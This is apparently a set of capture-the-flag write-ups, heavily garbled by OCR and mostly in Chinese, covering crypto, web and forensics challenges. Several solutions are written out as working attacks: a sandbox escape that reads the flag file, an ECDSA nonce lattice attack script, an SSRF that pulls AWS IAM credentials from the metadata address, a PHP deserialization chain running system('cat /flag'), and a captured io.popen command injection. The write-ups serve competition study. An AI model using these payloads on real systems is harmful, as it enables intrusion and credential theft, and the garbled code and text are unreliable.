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1 Adimport re

2

3 def decrypt_kfc_chef(file_path):

4 # 1. EXHTERAITVAITZE (#1E)

5 ingredients = {

6 "salt": 2, "sage": 34, "oil": 27, "ginger": 37, "milk": 13,
7 "butter": 5, "flour": 7, "paprika": 45, "turmeric": 32,
8 "pepper": 29, "vanilla": 19, "thyme": 35, "rosemary": 9,
9 "eggs": 11, '"cheese": 26, '"cinnamon": 40, "honey": 23,
10 "nutmeg": 43, "basil": 31, "oregano": 14, "tomato": 22,
11 "garlic": 16, "parsley": 42, "onions": 10, "potatoes": 8,
12 "sugar": 1, "cumin": 12, "coriander": 49, "chicken": 17
13 }

14

15 with open(file_path, 'r', encoding='utf-8') as f:

16 lines = f.readlines()

17

18 current_sum = 0

19 decoded_message = ""

20

21

for line in lines:



22 line = line.strip().lower()

23

24 # 2. ULAZ "Put" Bf "Add" #5< [cite: 3, 4]

25 # B BB mixing bowl (EBE) EMFEA, FLENEHE

26 if "dinto the mixing bowl" in line or "add" in 1line and "to the mixing
bowl" din line:

27 for ing in dingredients:

28 if ing in line:

29 current_sum += ingredients[ing]

30 break

31

32 # 3. ILEZ "Liquify" #8< [cite: 5]

33 # B8 RIEAXLGHEITET, WFHEN ASCII F1F

34 if "liquify contents of the mixing bowl" in line:

35 if current_sum > 0:

36 decoded_message += chr(current_sum)

37

38 # 4. ULAZ "Clean the mixing bowl" #§< [cite: 5, 6]

39 # 23 B HEIENE, EE T —1TFHF

40 if "clean the mixing bowl" in line and "2nd" not in line and "3rd" not
in line:

41 current_sum = 0

42

43 return decoded_message

44

45  # EEFE FIFBIX AR Fried_Chicken. txt IKIERIER TFHTT

46 try:

47 result = decrypt_kfc_chef('Fried_Chicken.txt')

48 result = result[::-1]

49 print ("BBELERF:", result)

50 except FileNotFoundError:

51 print ("IBMR Fried_Chicken.txt X#&H&FEE. ")
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U2FsdGVkX1/RxNkd2IGdQJ/tLDwU+2gkasEwAENOgBw=

FEIDISEISE—EY: Salted__

BATREBANRERE
Ll Salted__ (Base64 #4wi3}y U2FsdGVkX1 ) FFkMIZE, 2 OpenSSL MR &
CryptoJS (JavaScript & E) &EZEREFE,
XMENAEHE /) OpenSSL RBER. UTEREMREE XML ERRHE:

1. ER “BFEEY (Passphrase) ” 89N

HIREE Salted__ B, EREMEZEESEERZRERARBNHHIZER (Key) MEEE (V) ,
MEERT —TAEENFFBRED (LLIRREIN 123456 ) o

2. 5INT “&” (Salt) #l#!

X ZHERRZC

o FARE: ENEN, RRIEN— 8 FTHRIFRE B “&” ) .

o {EM: ERIRIZERS (W0 123456 ) SXARHEES, BIRKRFEE (BFE=E MD5
SHA256) IHEHEIER. 878 "#H%HR.

o PHLRMIRIE: BEMERDAHMER 123456 FAEE, AAERN ‘& FE, RXEIW
BEXHETERE, XiLERZETLEBI NI BB HER .
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5. EXHMLEE?

Salted__ REB—MINERBN, EHFTRREENEMNEZREZ, EBEAREUTREEZ—!:
e AES (AES-256-CBC, AES-128-CBC) — &= Mo

MINEEZ.

MINER .

e TripleDES — ERINZE X,

e RC4
e Rabbit

+
IL,\én

HIREER Salted__ BY, {RELXIE

1. WA —N"XANEWE" 7 e o

2. BRI RYMZE OpenSSLIRERZE (AIESNIEEAM Salted__ [FHEHAR 8 FT EIBELRE
X, BEEFHEEEHEIERN Key)
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mRY 27 ERENERRY.
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Well,I just banned letters,digits, '.' and ',
And also banned getattr() and help() by replacing it

And I banned os,subprocess module by pre-load it as strings

Just give up~

Or you still wanna try?

> eval (input ())

open('flag').read()

Result: furryCTF{325022d5149b_JUS5T_ruN_oU7_FRoM_7hE_SANd8oX_With_unIcOde}
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IREX; Hir; BERRE; IRFLAREHE; TR

[ A *solve.py - C:\Users\Lenovo\Desktop\solve.py (3.12.7)* — O
File Edit Format Run Options Window Help

hexm = (

"4e206£407770280066806d00609167402800689173402800663074£17200720079004271"
"550046e07b0050006d0065c06091734074f1720065¢05Ff4050F174f165c0720079005F40”
"4f7072003a6065c072005F405000720065c0734065¢03af0768068916280674055406295”
"720079007000740068916Ff406e805f406f4077706£407c£128002£4928006df060916500”
"65c0280061e17900280050f150F13c¢5938d4382039403940379037903b8039d038203b802”
"800714077707140”

cts = [hexm[i:i+4] for i in range(0, len(hexm), 4)]
unig = sorted(set(cts), key=lambda x: int(x, 16))
rank = {c: i for i, ¢ in enumerate(unig)}

template = (

”¥O% flag is furerTFfﬂﬂﬂﬂﬁﬁﬁq QPR QYRR QNN QYY) ﬂﬂﬂ

;— made by QQ:3244118528 qwq’

assert len(template) == len(cts)
r2a = {}
a2r = {}
for i, ch in enumerate(template)
ifch =77
r = rank[cts[i]]
a = ord(ch)
rlalr] = a
alrlal = r
sorted_known = sorted(r2a. items())
def infer ascii(r):
for i in range(len(sorted known) — 1):
rl, al = sorted_knownl[i]
r2, a2 = sorted known[i + 1]
itrl <r < r2:
return al + (r — rl) * (a2 - al) // (xr2 - rl)
return ord(’?")
flag =
for ¢ in cts:
r = rank[c]
ifr in r2a;
flag += chr(r2alr])
flag += chr(infer ascii(r))
print (flag)

#H#HERf51FHFLAG:furryCTF{Pleasure_Query_Or6er_PreseTving_cryption_owo}
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import json

import socket

import hashlib

import time

from ecdsa import SECP256kl, SigningKey
from ecdsa.util import sigencode string
HOST = “ctf. furryetf. com”

PORT = 35997
N = UXl-'l-'l-'lEl)-'l-'l-'l-'l-'l-'l-'l-'l-'l-'l-'l-'l-'l-'l-'l-'l-'l-'l-'l-'l-'PPPPPPEBMDCE@AF4BAUBBBFD25E8CDU354141
def solvel):

print (f”[*] 1E/EHEA H brllids 2% {HOST} : {PORT}... ")
s = socket. socket (socket. AF INET, socket. SOCK_STREAM)
s. settimeout (float (20))
s. connect ( (HOST, int(PORT)))
f = s.makefile( rw' )
line = f.readline(). strip()
pubdata = json. loads(line)
target x = int(pubdatal =" ])
print (f" [+] Marif A X (hex(target x)}”)
AoB=101, O
print (" [*] IE/EME RIS 40 4125785 .. 7)
for i in range (40):
f.write(json. dumps ({"op”: “sign”, “msg”: str(i)}) + "\n")
f. flush()
res = json. loads (f.readline())
r i, s i, h i = int(res['r'1, 16), int(res[’s’], 16), int(res['h’ ], 16)
A.append((h i * s_inv) % int(N))
B.append((r i % s inv) % int(N))
print (" [x] 1IE/ERIGERS S MJFi24r LLL &Y. .. 7)
m = 40
limit = 2#x128
mat = Matrix(QQ, m + 2, m + 2)
for i in range(m):
mat[i, i] = N
mat[m, i] = B[i]
matlm + 1, i] = A[i]
mat[m, ml] = QQ(limit) / N
matlm + 1, m + 1] = limit
reduced = mat. LLL()
priv_d = None



T AT T F T T T T TECATT bl S A T IT T AT T

it sk.verifying key. pubkey. point. x() == target x:
priv.d = d test
break
except: continue

if priv_d: break
if not prlv d:

print ("[=] LR, AIfE/E Nonce KKz, ™)

s.close()

return
prlnt(f [!] hkiﬂj%h’%’ H: {hex(priv_d)}”)
msg = b give me flag”
h _byvtes = hashlib. sha256(msg). digest ()
sk final = SigningKey. from secret exponent (int(priv_d), curve=SECP256k1)
sig = sk final. sign digest(h _bytes, sigencode=sigencode string)
rf, sf = int.from bytes(sigl:32], "big'), int.from bytes(sigl[32:]1, "big )
if sf > int(N) // 2:

sf = int(N) - sf
payload = {

op”: flag ,

“r": "0x{:064x}”. format (rf),

"s": "0x{:064x}”. format (sf)

print (f"[*] %% Pavload: {json.dumps(pavload)}”)
f.write (json. dumps (payload) + “\n”)
f. flush()
time. sleep(float(1.0))
print ("\n” + "@" * 20)
try:
flag = f.readline(). strip()
if flag:
prlnt(f Flag Wii: {flag}”)
prlnt(f JE G s {s. recv(4096) . decode (errors= ignore’ ). strip()}”)
except Exception as e:
print (£ [-] TEHCEE R HE: (e} )
print ("&@” * 20)
s. close()
if  name_ == " main
solve ()

EHANETAIME, BEEHENAZT, KETHIRGEHHE, AIRESENAKIE
Fitiflag:
POFP{9fa3a302-1854-449c-a%9e9-69aea07f65ad}
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{?php
highlight file( FILE );
error_reporting(0) :
$flag path = ' /flag ;
if (isset($ POST[ user ]) && isset($ POST[ pass 1)) {
Suser = § POST[ user |;
Spass § POST[ pass’ |
if ($user !== S$pass && md5(Suser) === md5($pass))
echo “Congratulations! Here is vyour flag: <br>”;
echo file get contents($flag path) :
} else |
echo “Wrong! Hacker!”;

}
}  else
echo “Please provide 'user and 'pass via POST.”;

}
2> Please provide 'user' and 'pass' via POST.

it ZAME—NERIMA55REEER
postfZ&:

user[]=1&pass[]=2

1S Zflag:
} </ code>
Congratulations! Here 1s vyour flag: <br>
FCOFF{ deabdalb-c90Z2-4504-b2al-88bEk58%edad}
1
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@ CloudConnect | internal Web Previewer

Test Connectivity

Use this tool to verify website availability from our us-east-1 cloud instance.

http://fexample.com

FEgidssrf, 1B23712.0.0.7 R, S IiERLAIMEEcve
1B ZRIALEC2LBssrfiEE

[R2&Eil] EEFASSRFRERABGEC2IEE MitE BNAWSIEIE

O LiElEM O 2025-04-11 03:09:25 @ 847 A%

HE:

ITHA, —1ESAWS ECCHEMILMMBREFIHET I izxE. FEFARSHRERME (SSRF) FR, MMENRTEC2LMIE, GiEs
MEIHREE (AM) Fil. X—FHAUERT S MRS, W3R THERELTLENFRZIRE,

FERE:

IR ERHFS LabstAZR AR LI, KEF2025F3A 130 E25HZ (8, BEBETFIRECIEEMIEAISSRERR, mETHAIEC2TE
{BURL, MMFFEERZE 8. EQTHIBRSRHEXTHEAVS FETHNEBMWNGE, SEEEATNE2EIL. EE BT IARSENA
ERIPHIE (Y0http://169.254.169.254/latest/meta-data/) FEIRELREEE,

WHENFERIEY RS, MIEREHERRT ST EISENTFEE, EFHEBOEINREFE. BFREXRMIETHZIMDSY
1, BEREBESRINEHENIAMRIE IMDSVIZAWSHIARTHIERS, EMMDSV IR, FERERESMLIE RSN,

F5 LabsfUiR S, REMRATEHLIL, OFEANBERRNARKENIESSR, 40%MRFIACVEEIMNF, AT RIXLERP, #iX
I RN AZEENR, MERhsENYBEmRENRE, FERINMIMERE.

EiEbpayload: http://169.254.169.254/latest/meta-data/


http://169.254.169.254/latest/meta-data/

Test Connectivity

Use this tool to verify website availability from our us-east-1 cloud instance.

http://169.254.169.254/latest/meta-data/

root@ip—10—0-1-55:"# curl “http://169. 254. 169. 254/latest/meta—data/”

iam/

network/
public-hostname/

EE%urltiit, BEhttp://169.254.169.254/latest/meta-data/iam/

Test Connectivity

Use this tool to verify website availability from our us-east-1 cloud instance.

http://169.254.169.254/latest/meta-data/iam/

@ip-10—-0-1-55:"# curl “http://169. 254. 169 latest/meta—data/iam/”

security-credentials/



http://169.254.169.254/latest/meta-data/iam/

Test Connectivity

Use this tool to verify website availability from our us-east-1 cloud instance.

http://169.254 169.254/latest/meta-data/iam/security-credentials/admin-role

p—10-0-1-55:"# curl “http://169. 254. 169. atest/meta—data/i ecurity—credentials/admin-role”

{'Code’: 'Success', 'Type': 'AWS-HMAC', 'AccessKeyId':

"AKTA ADMIN USER CLOUD', 'SecretAccessKey': 'POFP{f476c812-a22d-4299-91ba-
g9bs86fcdc5el}’, 'Token': 'MwZNCNz... (Simulation Token)', 'Expiration': '2@99-
01-01T00:00:00Z" }

PyEditor
TEHHERBLRIZE—NDE, BfFexit()/aEBEEflaghtiZig

exit_code = safe_exec()

exit()

# Hey bro, don't forget to remove this before releasel!!!
import os

import sys

1 0%

flag_content = os.environ.get('GZCTF_FLAG', )

os.environ[ 'GZCTF_FLAG'] = "

with open('/flag.txt', 'w’
f.write(flag_content)
except:
pass

Al banWARARZ, BBAaRATHexit()AT, HESZwith open('/flag.txt!, 'w') as f.RZHEEIZIL
flagBlEMAEE NXH

payload:

global exit, open



exit =lambda *a, **k: None
class _Leak:
def enter(self):
return self
def exit(self, *exc):
return False
def write(self, s):
print("aaaflagitt&: ", repr(s))
def open(*a, **k):
return _Leak()

print("inex")

babypop
HiEbaby, BHSERTIH Rbaby (KETww
#HRE DR

<2php

error reporting(0):
highlight file(_ FILE );
class SecurityProvider
private J$token;
public function _ construct()
$this—>token = mdb(uniqid());

public function wverify(3data)

if (strpos($data, ..’ ) !== false)
die("Attack Detected”):

return 3Sdata;

class LogService |
protected $handler;
protected $formatter;

public function _ construct($handler = null)
$this—>handler = $handler;

$Sthis—>formatter = new DateFormatter():




]
I

public function _ destruct() {
if ($this—rhandler && method exists($this—>handler, ’close’))
$this—>handler—>close() ;
}
1
!
1
!
class FileStream {
private $path;
private $mode;
public $content;
public function _ construct ($path, $mode) {
$this—>path = S$path;
$this—>mode Smode;

public function close() {

if ($this—>mode === ’debug’ && l'empty($this—>content)) |
$cmd = $this—rcontent:
if (strlen($cmd) < 2) return;
@eval ($emd) ;

} else {

return true;
}
1
!
1
-r r
class DateFormatter 1
public function format($timestamp) |
return date(’Y-m—d H:i:s', $timestamp);
}
1
I
class UserProfile |
public $username;
public $bio;

public $preference;

public function _ construct($u, $b) |
$this—>username = Su;



pupnlic aJprererence,

public function _ construct($u, $b) {
Sthis—>username = S3Su:
Sthis—>bio = §b;
$this—>preference = new DateFormatter():

class DataSanitizer
public static function clean(3input)
return str_replace(“hacker”, ”7, $input);

S$raw user = §$ POST[ user'] ?? null;
$raw bio = § POST[ 'bio'] 2?2 null:
if (Sraw user && Sraw bio) {
$sec = new SecuritvProvider():
$sec—rverify ($raw_user) ;
$sec—>verify (Sraw_bio) ;
$profile = new UserProfile($raw user, $raw bio):
S$data = serialize(Sprofile):
if (strlen($data) 4096)
die("Data too long”);

$safe data = DataSanitizer::clean(3data):
$unserialized = unserialize($safe data):
if (Sunserialized instanceof UserProfile)
echo “Profile loaded for “ . htmlspecialchars($unserialized—>username);

2

—&EpopiE, LEBEWAEM: iAALogServiceZiMY__destruct, SASIAMAFileStream3Ehy
close()##1TrceBlA], BRELTENAALZLogServiceZAY__destruct, LUIRERELAFileStreamIEHy
privateBmodelEE, BHit&kI:

sprofile);
$data) > 4896) {
long");

$safe_data = DataSanitizer::clean(input: $data);
$safe_data);

XENZESANFINENFREHITEREERFIIL, BBARAUR LphpRFFHFRTELE
EFIR

253k, XFprivateBMEIE&Zpublic— R EBIT], Frl&REMERpayload:
user=hackerhackerhacker&bio=;s:3:"bio";0:10:"LogService":2:
{s:7:"handler";0:10:"FileStream":3:
{5:16:"%20FileStream%?20path";N;s:4:"mode";s:5:"debug";s:7:"content";s:20:"system(%27cat%?2
0/flag%27);";}s:12:"%20*%20formatter";N;}s:10:"preference";N;}UserProfile%200bject

BISpostfE 5183



e

Profile loaded for aquot;;s:3:aquot;biocaquot;;s:221:PCOFP{5a02de85-9c87-4c8e—ac70-90635db18d59}

Forensics

RERE
BHi%iEfurrydibase644mi3FFk ZnVy , &Ibase644wi3nflag

L [ ST W B aee Sttt g

SEFER R ~  ZInVy

Options: =7 v O RHFNS () Backwards () Multiple occurrences
No. Time Source Destination Protoco Lengt Info
22100 843.671295 VMware_c@:00:08 Broadcast ARP 42 Who has 192.168.136.2? Tell 192.168.136.1
22101 844.426179 VMuare_c0:00:08 Broadcast ARP 42 Who has 192.168.136.2? Tell 192.168.136.1
22102 845.424674  VMuare_c0:00:08 Broadcast ARP 42 Who has 192.168.136.2? Tell 192.168.136.1
22103 846.691546 VMware_c0:00:08 Broadcast ARP 42 Who has 192.168.136.27 Tell 192.168.136.1
22104 847.428821 VMuare c0:00:08 Broadcast ARP 42 Who has 192.168.136.2? Tell 192.168.136.1
22105 848.423684  VMuare_c0:00:08 Broadcast ARP 42 Who has 192.168.136.2? Tell 192.168.136.1
— 22106 851.907426 192.168.136.129 192.168.136.1 TCP 74 37736 > 80 [SYN] Seq=0 Win=32120 Len=@ MS5=1460 SACK_PERM TSval=992178741 TSecr=0 WS=128
22107 851.907809 192.168.136.1 192.168.136.129 TP 74 80 + 37736 [SYN, ACK] Seq=0 Ack=1 Win=65535 Len=@ MSS5=146@ WS=256 SACK_PERM TSval=14341507 TSecr=992178741
22108 851.908053 192.168.136.129 192.168.136.1 TCP 66 37736 > 80 [ACK] Seq=1 Ack=1 Win=32128 Len=0 TSval=992178742 TSecr=14341507
{o 22109 851.903406 192.168.136.129 192.168.136.1 HTTP 967 POST /loginok.html HTTP/1.1 (application/x-www-ferm-urlencoded)
22110 851.918147 192.168.136.1 192.168.136.129 TCP 471 80 + 37736 [PSH, ACK] Seq=1 Ack=962 Win=64512 Len=485 TSval=14341517 TSecr=992178742 [TCP PDU reassembled i
22111 851.918218 192.168.136.1 192.168.136.129 TCP 1514 80 + 37736 [ACK] Seq=486 Ack=902 Win=64512 Len=1448 TSval=14341517 TSecr=992178742 [TCP PDU reassembled in
+— 22112 851.918218 192.168.136.1 192.168.136.129 HTTP 582 HTTP/1.@ 200 HTTP OK (text/html)
22113 851.918501 192.168.136.129 192.168.136.1 TP 66 37736 + 80 [ACK] Seq=902 Ack=406 Win=31872 Len=@ TSval=992178752 TSecr=14341517
22114 851.918574 192.168.136.129 192.168.136.1 TCP 66 37736 ~ 88 [ACK] S5Seq=902 Ack=2370 Win=31872 Len=0 TSval=992178752 TSecr=14341517
22115 851.919281 192.168.136.129 192.168.136.1 TCP 66 37736 > 80 [FIN, ACK] Seq=9@2 Ack=237@ Win=31872 Len=@ TSval=992178753 TSecr=14341517
22116 851.919610 192.168.136.1 192.168.136.129 TCP 66 80 + 37736 [ACK] Seq=2370 Ack=903 Win=64512 Len=@ TSval=14341519 TSecr=992178753
22117 852.088729 192.168.136.1 192.168.136.129 TP 66 80 > 37736 [FIN, ACK] Seq=2376 Ack=903 Win=64512 Len=0 TSval=14341688 TSecr=992178753

Origin: http://192.168.136.1\r\n

Content-Type: application/x-uuwu-form-urlencoded\r\n

User-Agent: Mozilla/5.8 (Windows NT 10.8; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrom
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*
Referer: http://192.168.136.1/login.html\r\n

Accept-Encoding: gzip, deflate, brir\n

Accept-Language: zh-CN,zh;q=0.9\r\n

65 70 74 2d 45 6e 63 6f 64 69 6e 67 3a 28 67 7a ept-Enco ding: gz
69 70 2c 20 64 65 66 6c 61 74 65 2c 20 62 72 @d ip, defl ate, br

Ba 41 63 63 65 7@ 74 2d 4c 61 6e 67 75 61 67 65 -Accept- Language
3a 20 7a 68 2d 43 4e 2c 7a 68 3b 71 3d 3@ 2e 39 : zh-CN, zh;g=0.9
ed 0a 43 6f 6f 6b 69 65 3a 28 63 6c 69 65 be 74 --Cookie : client
5f 6c 61 6e 67 3d 73 63 68 69 6e 65 73 65 3b 28 _lang=sc hinese;

76 69 65 77 6d 6f 64 65 3d 30 Od Pa 43 6f 6e be viewmode =@--Conn
65 63 74 €9 6f 6e 3a 20 63 6c 6f 73 65 @d @a ed ection: «close--

Ba 75 73 65 72 6e 61 6d 65 3d 61 6e 6F 62 79 6d usernam e=anonym
ef 75 73 25 30 3@ 25 35 64 25 35 64 25 32 35 30  ousk@0%5 d¥5d%250
64 6¢c 6f 63 61 6¢c 25 32 62 68 25 32 62 25 32 35 dlocal%2 bh%2b%25
33 64 25 32 62 69 6f 2e 70 6f 70 65 6e 28 25 32 3d%2bio. popen(%2
32 69 64 25 32 32 29 25 32 35 3@ 64 6c 6 63 61 2id%22)% 25@dloca
6c 25 32 62 72 25 32 62 25 32 35 33 64 25 32 62 1%2br%2b %253d%2b
68 25 32 35 33 61 72 65 61 64 28 25 32 32 2a 61 h%253are ad(%22%a
25 32 32 29 25 32 35 30 64 68 25 32 35 33 61 63 %22)%250 dh%253ac
6c 6f 73 65 28 29 25 32 35 30 64 70 72 69 6e 74  lose()%2 5@dprint
28 72 29 25 32 35 3@ 64 2d 2d 5a be 56 79 63 b6e (r)%250d --ZnVycn
6c 44 56 45 S5a 37 52 6e 49 77 62 56 39 42 62 &d 1DVEZ7Rn IwbV9Bbm
39 75 4f 57 38 77 64 58 4e 66 56 47 39 66 55 6d SuoWewdX NFVGIfUm
38 77 64 48 30 25 33 64 26 70 61 73 73 77 6f 72  8wdH@%3d &passwor
64 3d 26 75 73 65 72 6e 61 6d 65 5f 76 61 6c 3d d=&usern ame_val=
61 6e 6f 6e 79 6d €f 75 73 26 70 61 73 73 77 6f  anonymou s&passwo
72 64 5f 76 61 6c 3d rd val=

v Cookie: client_lang=schinese; viewmode=@\r\n
Cookie pair: client_lang=schinese
Cookie pair: viewmode=e
Connection: close\r\n
\r\n
Response in frame: 22112
[Full request URI: http://192.168.136.1/loginok.html]
File Data: 246 bytes
v~ HTML Form URL Encoded: application/x-www-form-urlencoded

v Form item: "username” = "ancnymous"
Key: username
Value: anonymous

o Cmm Gt M At 0

IBERTCPIREE HiRE H#TRI L

Recipe SH ] Input

. Base64 Q ZnVycn1DVEZ7Rn IwbV9BbmOuOWowdXNFVGOFumSwdHe
rom Base

Alphabet
A-Za-z0-9+/=

Remove non-alphabet chars [ strict mode

ap: 43 = 1

Output

furryCTF{Frem_Anon9meus To Roet)

furryCTF{FrOm_Anon9mOus_To_RoOt}

i3 W 4: k5 )
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15 Latest 7 from a total of 7 transactions ok Download PageData W7 v

(  Transaction Hash Method &) Block Age From To Amount Txn Fee

@  0x825eedf1047.. Transfer 10051147 14 days ago 0x35710Be7...AB51452¢c8 out 0x26A087A9...49fc25dbd 0.5128837 ETH 0.00002943
@  0x559ad0cb9d... Transfer 10051146 14 days ago 0x35710Be7...AB51452¢c8 out 0x3Cbf1FA1...7Ca33b13E 0.54920645 ETH 0.00002617
®  0x6327905f048... Transfer 10051145 14 days ago 0x35710Be7...AB51452¢c8 out 0x4864d2a0...854CB8A22 0.54506012 ETH 0.00002915
©  0x0ebab02844... Transfer 10051144 14 days ago 0x35710Be7...AB51452c8 out 0x7F7B7D7E...9f48A8a16 0.54344004 ETH 0.00002733
@  0xd2458a04b4.. Transfer 10051143 14 days ago 0x35710Be7...AB51452c8 out 0x766Cb3CE...c1Cded64d 0.55795566 ETH 0.00002911
® 0x145bbec25a... Transfer 10051136 14 days ago 0x6Cc9397c...77Ba5F455 IN 0x35710Be7...AB51452¢c8 1.32290292 ETH 0.00006349
@  0xa3f5f35502c... Transfer 10051045 14 days ago 0x8A7065C4...Ba15aedb7 IN 0x35710Be7...AB51452¢c8 1.38578429 ETH 0.00002117

BiE—RE—1

17 Latest 7 from a total of 7 transactions ok, Download Page Data T o~
(@  Transaction Hash Method @ Block Age From To Amount Txn Fee
©  0x825eedf1047.. Transfer 10051147 14 days ago 0x35710Be7...AB51452c8 out 0x26A087A9...49fc25dbd 0.5128837 ETH 0.00002943
®  0x559ad0ch9d... Transfer 10051146 14 days ago 0x35710Be7...AB51452¢c8 out  O0x3Cbf1FA1..7Ca33b13E 0.54920645 ETH 0.00002617
@®  0x6327905f048... Transfer 10051145 14 days ago 0x35710Be7...AB51452¢c8 out 0x4864d2a0...854CB8A22 0.54506012 ETH 0.00002915
© 0x0ebab02844.. Transfer 10051144 14 days ago 0x35710Be7...AB51452c8 out 0x7F7B7D7E...9f48A8a16 0.54344004 ETH 0.00002733
@  0xd2458a04bd4.. Transfer 10051143 14 days ago 0x35710Be7...AB51452c8 out 0x766Cb3CE...c1Cded64d 0.55795566 ETH 0.00002911
©  0x145bbec25a... Transfer 10051136 14 days ago 0x6Cc9397c...77BabF455 IN 0x35710Be7...AB51452c8 1.32290292 ETH 0.00006349
®  0xa3f5f35502c... Transfer 10051045 14 days ago 0x8A7065C4...Ba15aedb7 IN 0x35710Be7...AB51452¢c8 1.38578429 ETH 0.00002117

X TAIUBHREFART , ERETRAN— DAL
0x657faA98cEB7F4c627D9f4DOF2Dbf3374Fe5D8Fd

(@  Transaction Hash Method @ Block Age From To Amount Txn Fee

@® 0xde4a351179.. Transfer 10054400 14 days ago 0x26A087A9...49fc25dbd out 0x1bd37197...1A671bf80 0.00246283 ETH 0.00002656
® 0x1647976171.. Transfer 10054399 14 days ago 0x26A087A9...49fc25dbd out 0xA2779ccd...1057aAEB6 0.00233027 ETH 0.00002922
®  0xc4378080el.. Transfer 10054398 14 days ago 0x26A087A9...49fc25dbd out 0x657faA98...74Fe5D8Fd 0.0003238 ETH 0.00002598
@  0xeb6b91bd46... Transfer 10051196 14 days ago 0x26A087A9...49fc25dbd ouT 0x70B0cd63...86fF4526e 0.02465681 ETH 0.00003056
@  0xc9d9a33664.. Transfer 10051195 14 days ago 0x26A087A9...49fc25dbd out 0x657faA98...74Fe5D8Fd 0.40630696 ETH 0.00002717
@®  0x3221c312dfb.. Transfer 10051194 14 days ago 0x26A087A9...49fc25dbd out  0x3261E5c2..4C7A1270B 0.02448801 ETH 0.00002831
®  0x352fe685312... Transfer 10051193 14 days ago 0x26A087A9...49fc25dbd ouT 0x11290a10...A45779f48 0.02451992 ETH 0.0000289
@ 0xe164267bd1... Transfer 10051192 14 days ago 0x26A087A9...49fc25dbd out 0x070bd0ff...5995dA94E 0.02736189 ETH 0.00003036
@®  0x825eedf1047... Transfer 10051147 14 days ago 0x35710Be7...AB51452¢c8 IN 0x26A087A9...49fc25dbd 0.5128837 ETH 0.00002943

BEEXTHREE, RARFIEREZHREMMI



{5 Latest 4 from a total of 4 transactions

@  Transaction Hash

© 0x26653a0860..

©  Ox2decdecbZc..

@  0xb50f8fa5629..

©  0x67bf23e8d44..

Method &

Transfer

Transfer

Transfer

Transfer

Block

10051619

10051617

10051573

10051543

Age

14 days ago
14 days ago
14 days ago

14 days ago

From

0x39B72908...6B4e60621

0x3D89ce58...6D851Bd81

Ox9EDOE665...570F67268

0xc00Cc3CA...D14Ac32d0

To

O0xFF7C350e...

OxFF7C350e...

O0xFF7C350e.

OxFF7C350e.

603b7DB72

603b7DB72

..603b7DB72

..603b7DB72

POFP{OXxFF7C350e70879D04A13bb2d8D77B60e603b7DB72}

¢l Download Page Data W7 v

Amount

0.19824268 ETH

0.21311768 ETH

0.21075846 ETH

0.14414303 ETH

Txn Fee

0.00002648

0.00002928

0.00002657

0.00002934



